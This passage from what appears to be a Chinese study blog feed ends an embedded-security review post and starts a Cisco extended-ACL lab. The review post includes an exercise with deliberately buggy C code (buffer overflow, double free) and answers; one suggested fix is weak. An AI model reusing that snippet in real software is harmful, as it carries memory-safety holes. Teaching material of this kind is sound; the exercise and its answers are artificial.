保护嵌入式设备的物理安全，防止设备被盗或篡改。在可能的情况下，对设备进行加固，防止物理攻击。</p></li><li><p><strong>应急响应计划</strong>：制定应急响应计划，以应对可能发生的安全事件或远程管理故障，确保能够及时有效地应对问题并恢复系统正常运行。</p></li></ol><p>   通过遵循以上防御流程，嵌入式系统的远程管理可以更加安全可靠地进行，保护系统免受潜在的安全威胁和攻击。</p><ol start="11"><li><h3 id="开发中如何提高循环的效率，降低嵌入式系统的功耗？"><a href="#开发中如何提高循环的效率，降低嵌入式系统的功耗？" class="headerlink" title="开发中如何提高循环的效率，降低嵌入式系统的功耗？"></a>开发中如何提高循环的效率，降低嵌入式系统的功耗？</h3><p><strong>优化算法和数据结构</strong></p><p><strong>减少循环次数</strong></p><p><strong>避免空循环</strong></p><p><strong>使用硬件加速</strong></p><p><strong>低功耗模式</strong></p><p><strong>优化编译器选项</strong></p><p><strong>使用中断和定时器</strong></p><p><strong>精简外设使用</strong></p><p><strong>静态代码分析</strong></p><p><strong>循环嵌套要外小内大;提取与循环无关的表达式;消除循环终止判断时的方法调用;捕获异常放到循环外部。</strong></p><p>在开发嵌入式系统时，提高循环的效率和降低功耗是非常重要的目标，特别是对于那些需要长时间运行的设备。以下是一些方法可以帮助提高循环的效率和降低嵌入式系统的功耗：</p><ol><li><p><strong>优化算法和数据结构</strong>：选择合适的算法和数据结构可以显著提高循环的效率。尽量避免使用复杂的算法和数据结构，选择更高效的实现方式。</p></li><li><p><strong>减少循环次数</strong>：尽量减少循环的次数，避免不必要的重复计算。可以通过合并循环、使用更有效的迭代方式等方法来减少循环次数。</p></li><li><p><strong>避免空循环</strong>：避免空循环或无用的计算，确保每次循环都有意义并对系统有贡献。</p></li><li><p><strong>使用硬件加速</strong>：利用硬件加速器（如DSP、FPGA等）来执行一些计算密集型任务，可以提高效率并降低功耗。</p></li><li><p><strong>低功耗模式</strong>：利用处理器的低功耗模式，在空闲或低负载时降低处理器的工作频率或进入睡眠模式，以降低功耗。</p></li><li><p><strong>优化编译器选项</strong>：使用优化的编译器选项来生成更高效的机器代码，包括开启优化选项、减小代码大小等。</p></li><li><p><strong>使用中断和定时器</strong>：合理使用中断和定时器来触发特定事件，避免轮询等消耗资源的方式，从而降低功耗。</p></li><li><p><strong>精简外设使用</strong>：在不需要的时候关闭不必要的外设，减少对外设的频繁访问，以降低功耗。</p></li><li><p><strong>静态代码分析</strong>：通过静态代码分析工具来检测代码中的潜在性能问题和功耗问题，及时优化代码。</p></li></ol><p>通过结合以上方法，开发者可以有效提高循环的效率和降低嵌入式系统的功耗，从而提升系统的性能和节能效果。</p></li><li><h3 id="找出下列代码中的错误并改正。"><a href="#找出下列代码中的错误并改正。" class="headerlink" title="找出下列代码中的错误并改正。"></a>找出下列代码中的错误并改正。</h3></li></ol><p> void Func(void)</p><p>{</p><p>int  *buff&#x3D;malloc(100)；   (1)</p><p>char  array[50]；      (2)</p><p>free(buff)；         (3)</p><p>array[50]&#x3D;’e’；       (4)</p><p>free(buff)；         (5)</p><p>free(array)；        (6)</p><p>}</p><p> void Str_copy(void )</p><p>  { </p><p>　    char *str &#x3D; (char *) malloc(10); </p><p>　    strcpy( str, “hello world!” ); </p><p>}</p><p><strong>第1处错误在语句 (4) 中，尝试访问数组 array 的第 50 个元素，但是数组 array 的大小只有 50，数组的索引是从 0 开始的，因此最后一个元素的索引是 49，访问超出数组范围的元素是未定义行为。正确的语句应该是：</strong></p><p><strong>array[49] &#x3D; ‘e’;</strong></p><p><strong>第2处错误在语句 (6) 中，试图释放一个静态分配的数组 array，静态分配的数组不应该使用 free 函数释放内存，只有动态分配的内存需要使用 free 函数释放。因此，正确的代码应该去掉语句 (6)：</strong></p><p><strong>&#x2F;&#x2F; free(array);  &#x2F;&#x2F; Remove this line</strong></p><p><strong>第3个错误在函数 Func 中的语句 (5) 中，尝试两次释放同一块内存 buff。这会导致出现 double free 错误，因为在第一次调用 free(buff) 后，内存块已经被释放，再次调用 free(buff) 会导致未定义行为。因此，应该在第二次调用 free(buff) 前检查该指针是否为 NULL 或者设置为 NULL。</strong></p><ol><li><p><strong>在分配内存时，应该为字符串 “hello world!” 分配足够的空间来容纳整个字符串（包括结尾的空字符 ‘\0’）。由于 “hello world!” 包含 12 个字符（包括空格），因此应该分配至少 13 个字节的内存空间。</strong></p></li><li><p><strong>函数结束后没有释放动态分配的内存。在使用完动态分配的内存后，应该使用 free() 函数来释放这块内存，以避免内存泄漏。</strong></p></li><li><p>（4）中数组越界访问，应该修改为合法的数组下标。</p></li><li><p>（6）中试图释放一个非动态分配的数组内存，应该使用free释放动态分配的内存。</p></li></ol><p><font color='red'>隔离思想：</font>隔离思想是指在设计和开发系统时，采用一系列技术和策略来确保系统中不同组件或功能之间相互独立、相互隔离，从而提高系统的安全性、稳定性和可靠性。隔离思想在计算机系统、网络系统、嵌入式系统等领域都有广泛的应用。</p><p>以下是隔离思想的一些重要方面和应用：</p><ol><li><p>硬件隔离：在硬件层面上实现隔离，例如使用虚拟化技术、安全芯片、安全处理器等，确保不同硬件资源之间的隔离，防止恶意软件或攻击者跨越硬件边界进行攻击。</p></li><li><p>软件隔离：通过软件机制实现不同软件组件之间的隔离，如使用容器技术、虚拟化技术、沙盒机制等，确保不同软件模块之间的隔离，防止恶意软件扩散和攻击。</p></li><li><p>网络隔离：通过网络配置和策略实现不同网络区域或设备之间的隔离，如使用虚拟局域网（VLAN）、防火墙、访问控制列表（ACL）等，确保网络中不同部分之间的隔离，防止网络攻击和数据泄露。</p></li><li><p>数据隔离：确保不同数据之间的隔离，如使用加密技术、访问控制等，防止敏感数据泄露或被篡改。</p></li><li><p>权限隔离：通过权限管理和访问控制实现不同用户或进程之间的隔离，确保每个用户或进程只能访问其所需的资源，防止恶意操作和越权访问。</p></li></ol><p>隔离思想的核心目标是降低系统中各个部分之间的耦合度，提高系统的安全性和可靠性。通过合理应用隔离思想，可以有效减少系统的风险，提升系统的稳定性和安全性。在设计和开发系统时，考虑隔离思想是非常重要的，特别是在涉及敏感数据或关键系统的场景中。</p><p><font color='red'>远程嵌入式管理</font>是指通过网络远程监控、配置、维护和管理嵌入式设备或系统的过程。这种管理方式在许多场景下非常有用，特别是对于分布在不同地点的嵌入式设备或系统。以下是远程嵌入式管理的一些重要方面和优势：</p><ol><li><p>远程监控和诊断：远程管理允许管理员实时监控嵌入式设备的状态、性能和运行情况，及时发现问题并进行诊断，从而提高故障排除的效率。</p></li><li><p>远程配置和更新：管理员可以通过远程管理平台对嵌入式设备进行配置更改和软件更新，无需现场操作，节省时间和成本。</p></li><li><p>远程维护和修复：远程管理使得管理员可以远程执行维护操作和故障修复，减少了现场维护的需求，提高了系统的可用性和稳定性。</p></li><li><p>安全性：远程管理平台通常会提供安全机制，如加密通信、身份验证等，确保远程管理过程的安全性，防止未经授权的访问和攻击。</p></li><li><p>灵活性和便利性：远程管理使得管理员可以随时随地通过网络管理嵌入式设备，不受时间和地点的限制，提高了管理的灵活性和便利性。</p></li><li><p>自动化和智能化：通过远程管理平台可以实现自动化的管理和监控，甚至结合人工智能技术进行预测性维护，提高管理效率和系统的可靠性。</p></li><li><p>成本效益：远程管理可以减少现场维护的成本，降低人力和时间成本，提高设备的利用率和效益。</p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;单选&quot;&gt;&lt;a href=&quot;#单选&quot; class=&quot;headerlink&quot; title=&quot;单选&quot;&gt;&lt;/a&gt;单选&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;哪个不是嵌入式系统设计的主要目标？（ D  ）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A. 低成本   B. 低功耗   C. 实时要求高</summary>
      
    
    
    
    
    <category term="嵌入式系统安全" scheme="http://example.com/tags/%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>14.配置扩展IP-ACL</title>
    <link href="http://example.com/2024/04/12/14-%E9%85%8D%E7%BD%AE%E6%89%A9%E5%B1%95IP-ACL/"/>
    <id>http://example.com/2024/04/12/14-%E9%85%8D%E7%BD%AE%E6%89%A9%E5%B1%95IP-ACL/</id>
    <published>2024-04-12T09:51:19.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、背景"><a href="#一、背景" class="headerlink" title="一、背景"></a>一、背景</h2><p>分公司和总公司分别属于不同的网段，部门之间用路由器进行信息传递，为了安全起见，分公司领导要求部门主机只能访问总公司服务器的WWW服务，不能对其使用ICMP服务。</p><h2 id="二、拓扑图"><a href="#二、拓扑图" class="headerlink" title="二、拓扑图"></a>二、拓扑图</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco26.png"                      alt="cisco26"                ></p><h2 id="三、配置流程"><a href="#三、配置流程" class="headerlink" title="三、配置流程"></a>三、配置流程</h2><ol><li><h3 id="配置路由器R1的端口地址，静态路由表"><a href="#配置路由器R1的端口地址，静态路由表" class="headerlink" title="配置路由器R1的端口地址，静态路由表"></a>配置路由器R1的端口地址，静态路由表</h3><p>配置:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line"></span><br><span class="line">Router#configure terminal</span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Router(config)#hostname R1</span><br><span class="line"></span><br><span class="line">R1(config)#int fa0/0</span><br><span class="line"></span><br><span class="line">R1(config-if)#ip address 192.168.1.1 255.255.255.0                    //配置端口IP地址</span><br><span class="line"></span><br><span class="line">R1(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up</span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">R1(config-if)#exit</span><br><span class="line"></span><br><span class="line">R1(config)#interface fastethernet 1/0</span><br><span class="line"></span><br><span class="line">R1(config-if)#ip address 192.168.2.1 255.255.255.0                    //配置端口IP地址</span><br><span class="line"></span><br><span class="line">R1(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">R1(config-if)#</span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to up</span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to up</span><br><span class="line"></span><br><span class="line">R1(config-if)#exit</span><br><span class="line"></span><br><span class="line">R1(config)#ip route 0.0.0.0 0.0.0.0 192.168.2.2                   //配置default route</span><br><span class="line"></span><br><span class="line">R1(config)#end</span><br></pre></td></tr></table></figure></div><p> 查看 ip route以及running-config</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">R1#show ip route</span><br><span class="line"></span><br><span class="line">Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP</span><br><span class="line"></span><br><span class="line">​       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area</span><br><span class="line"></span><br><span class="line">​       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2</span><br><span class="line"></span><br><span class="line">​       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP</span><br><span class="line"></span><br><span class="line">​       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area</span><br><span class="line"></span><br><span class="line">​       \* - candidate default, U - per-user static route, o - ODR</span><br><span class="line"></span><br><span class="line">​       P - periodic downloaded static route</span><br><span class="line"></span><br><span class="line">Gateway of last resort is not set</span><br><span class="line"></span><br><span class="line">C    192.168.1.0/24 is directly connected, FastEthernet0/0</span><br><span class="line"></span><br><span class="line">R1#</span><br><span class="line"></span><br><span class="line">R1#show run</span><br><span class="line"></span><br><span class="line">Building configuration...</span><br><span class="line">Current configuration : 746 bytes</span><br><span class="line">！</span><br><span class="line">version 12.2</span><br><span class="line">no service timestamps log datetime msec</span><br><span class="line">no service timestamps debug datetime msec</span><br><span class="line">no service password-encryption</span><br><span class="line">!</span><br><span class="line">hostname R1</span><br><span class="line">!</span><br><span class="line">ip cef</span><br><span class="line">no ipv6 cef</span><br><span class="line">！</span><br><span class="line">interface FastEthernet0/0</span><br><span class="line"> ip address 192.168.1.1 255.255.255.0</span><br><span class="line"> duplex auto</span><br><span class="line"> speed auto</span><br><span class="line">!</span><br><span class="line">interface FastEthernet1/0</span><br><span class="line"> ip address 192.168.2.1 255.255.255.0</span><br><span class="line"> duplex auto</span><br><span class="line"> speed auto</span><br><span class="line">!</span><br><span class="line">interface Serial2/0</span><br><span class="line"> no ip address</span><br><span class="line"> shutdown</span><br><span class="line">!</span><br><span class="line">interface Serial3/0</span><br><span class="line"> no ip address</span><br><span class="line"> shutdown</span><br><span class="line">!</span><br><span class="line">interface FastEthernet4/0</span><br><span class="line"> no ip address</span><br><span class="line"> shutdown</span><br><span class="line">!</span><br><span class="line">interface FastEthernet5/0</span><br><span class="line"> no ip address</span><br><span class="line"> shutdown</span><br><span class="line">!</span><br><span class="line">ip classless</span><br><span class="line">ip route 0.0.0.0 0.0.0.0 192.168.2.2 </span><br><span class="line">!</span><br><span class="line">ip flow-export version 9</span><br><span class="line">!</span><br><span class="line">line con 0</span><br><span class="line">!</span><br><span class="line">line aux 0</span><br><span class="line">!</span><br><span class="line">line vty 0 4</span><br><span class="line"></span><br><span class="line"> login</span><br><span class="line"></span><br><span class="line">end</span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置路由器R2的端口地址，静态路由表"><a href="#配置路由器R2的端口地址，静态路由表" class="headerlink" title="配置路由器R2的端口地址，静态路由表"></a>配置路由器R2的端口地址，静态路由表</h3><p>配置:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line"></span><br><span class="line">Router#conf t</span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Router(config)#hostname R2</span><br><span class="line"></span><br><span class="line">R2(config)#interface fastethernet 1/0</span><br><span class="line"></span><br><span class="line">R2(config-if)#ip add 192.168.2.2 255.255.255.0                    //配置端口IP地址</span><br><span class="line"></span><br><span class="line">R2(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up</span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">R2(config-if)#exit</span><br><span class="line"></span><br><span class="line">R2(config)#int serial 2/0</span><br><span class="line"></span><br><span class="line">R2(config-if)#ip add 192.168.3.1 255.255.255.0                    //配置端口IP地址</span><br><span class="line"></span><br><span class="line">R2(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to down</span><br><span class="line"></span><br><span class="line">R2(config-if)#clock rate 64000</span><br><span class="line"></span><br><span class="line">This command applies only to DCE interfaces</span><br><span class="line"></span><br><span class="line">R2(config-if)#exit</span><br><span class="line"></span><br><span class="line">R2(config)#ip route 192.168.1.0 255.255.255.0 192.168.2.1</span><br><span class="line"></span><br><span class="line">R2(config)#ip route 192.168.4.0 255.255.255.0 192.168.3.2</span><br><span class="line"></span><br><span class="line">R2(config)#end</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p> 查看 ip route以及配置扩展IP-ACL以及查看running-config</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br></pre></td><td class="code"><pre><span class="line">R2#show ip route</span><br><span class="line"></span><br><span class="line">Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP</span><br><span class="line"></span><br><span class="line">​       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area</span><br><span class="line"></span><br><span class="line">​       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2</span><br><span class="line"></span><br><span class="line">​       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP</span><br><span class="line"></span><br><span class="line">​       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area</span><br><span class="line"></span><br><span class="line">​       \* - candidate default, U - per-user static route, o - ODR</span><br><span class="line"></span><br><span class="line">​       P - periodic downloaded static route</span><br><span class="line"></span><br><span class="line">Gateway of last resort is not set</span><br><span class="line"></span><br><span class="line">S    192.168.1.0/24 [1/0] via 192.168.2.1</span><br><span class="line"></span><br><span class="line">C    192.168.2.0/24 is directly connected, FastEthernet1/0</span><br><span class="line"></span><br><span class="line">R2#</span><br><span class="line"></span><br><span class="line">R2#</span><br><span class="line"></span><br><span class="line">R2#conf t</span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">R2(config)#access-list 100 permit tcp host 192.168.1.2 host 192.168.4.2 eq www</span><br><span class="line"></span><br><span class="line">R2(config)#access-list 100 deny icmp host 192.168.1.2 host 192.168.4.2 echo</span><br><span class="line"></span><br><span class="line">R2(config)#</span><br><span class="line"></span><br><span class="line">R2(config)#interface serial 2/0</span><br><span class="line"></span><br><span class="line">R2(config-if)#ip access-group 100 out</span><br><span class="line"></span><br><span class="line">R2(config-if)#</span><br><span class="line"></span><br><span class="line">R2(config-if)#end</span><br><span class="line"></span><br><span class="line">R2#</span><br><span class="line"></span><br><span class="line">%SYS-5-CONFIG_I: Configured from console by console</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">R2#show running-config</span><br><span class="line"></span><br><span class="line">Building configuration...</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Current configuration : 962 bytes</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">version 12.2</span><br><span class="line"></span><br><span class="line">no service timestamps log datetime msec</span><br><span class="line"></span><br><span class="line">no service timestamps debug datetime msec</span><br><span class="line"></span><br><span class="line">no service password-encryption</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">hostname R2</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">ip cef</span><br><span class="line"></span><br><span class="line">no ipv6 cef</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">interface FastEthernet0/0</span><br><span class="line"></span><br><span class="line"> no ip address</span><br><span class="line"></span><br><span class="line"> duplex auto</span><br><span class="line"></span><br><span class="line"> speed auto</span><br><span class="line"></span><br><span class="line"> shutdown</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">interface FastEthernet1/0</span><br><span class="line"></span><br><span class="line"> ip address 192.168.2.2 255.255.255.0</span><br><span class="line"></span><br><span class="line"> duplex auto</span><br><span class="line"></span><br><span class="line"> speed auto</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">interface Serial2/0</span><br><span class="line"></span><br><span class="line"> ip address 192.168.3.1 255.255.255.0</span><br><span class="line"></span><br><span class="line"> ip access-group 100 out</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">interface Serial3/0</span><br><span class="line"></span><br><span class="line"> no ip address</span><br><span class="line"></span><br><span class="line"> shutdown</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">interface FastEthernet4/0</span><br><span class="line"></span><br><span class="line"> no ip address</span><br><span class="line"></span><br><span class="line"> shutdown</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">interface FastEthernet5/0</span><br><span class="line"></span><br><span class="line"> no ip address</span><br><span class="line"></span><br><span class="line"> shutdown</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">ip classless</span><br><span class="line"></span><br><span class="line">ip route 192.168.1.0 255.255.255.0 192.168.2.1 </span><br><span class="line"></span><br><span class="line">ip route 192.168.4.0 255.255.255.0 192.168.3.2 </span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">ip flow-export version 9</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">access-list 100 permit tcp host 192.168.1.2 host 192.168.4.2 eq www</span><br><span class="line"></span><br><span class="line">access-list 100 deny icmp host 192.168.1.2 host 192.168.4.2 echo</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">line con 0</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">line aux 0</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">line vty 0 4</span><br><span class="line"></span><br><span class="line"> login</span><br><span class="line"></span><br><span class="line">!</span><br><span class="line"></span><br><span class="line">end</span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置路由器R3的端口地址，静态路由表"><a href="#配置路由器R3的端口地址，静态路由表" class="headerlink" title="配置路由器R3的端口地址，静态路由表"></a>配置路由器R3的端口地址，静态路由表</h3><p>配置:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line"></span><br><span class="line">Router#conf t</span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with 